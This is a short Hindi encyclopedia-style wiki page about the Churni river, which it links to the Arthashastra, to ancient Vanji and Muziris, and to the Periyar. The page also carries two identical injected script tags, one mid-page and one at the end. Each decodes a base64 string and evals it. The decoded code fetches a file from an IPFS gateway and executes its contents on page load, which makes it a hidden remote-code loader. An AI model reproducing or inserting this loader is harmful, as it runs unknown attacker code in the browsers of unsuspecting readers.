चूर्णी नदी

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 12:33, 7 सितम्बर 2012 का अवतरण (''''चूर्णी नदी''' का उल्लेख कौटिल्य के '[[अर्थशास्त्र ग्...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

चूर्णी नदी का उल्लेख कौटिल्य के 'अर्थशास्त्र'[1] में हुआ है। इस नदी के पर वंजि नामक नगर, जो कि कोचीन के सन्निकट है, बसा हुआ था।[2]

  • इस नदी के पास ही केरल की प्राचीन राजधानी स्थित थी।
  • चूर्णी नदी के मुहाने पर 'क्रंगतूर' या रोमन लेखकों का 'मुजीरिस' बसा हुआ था, जिसका प्राचीन नाम 'मरिचीपत्तन' था।
  • इस नदी का अभिज्ञान केरल को पेरियार नदी से किया गया है।[3]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. शामशास्त्री पृ. 75
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 342 |
  3. रायचौधरी, पृ. 273.

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>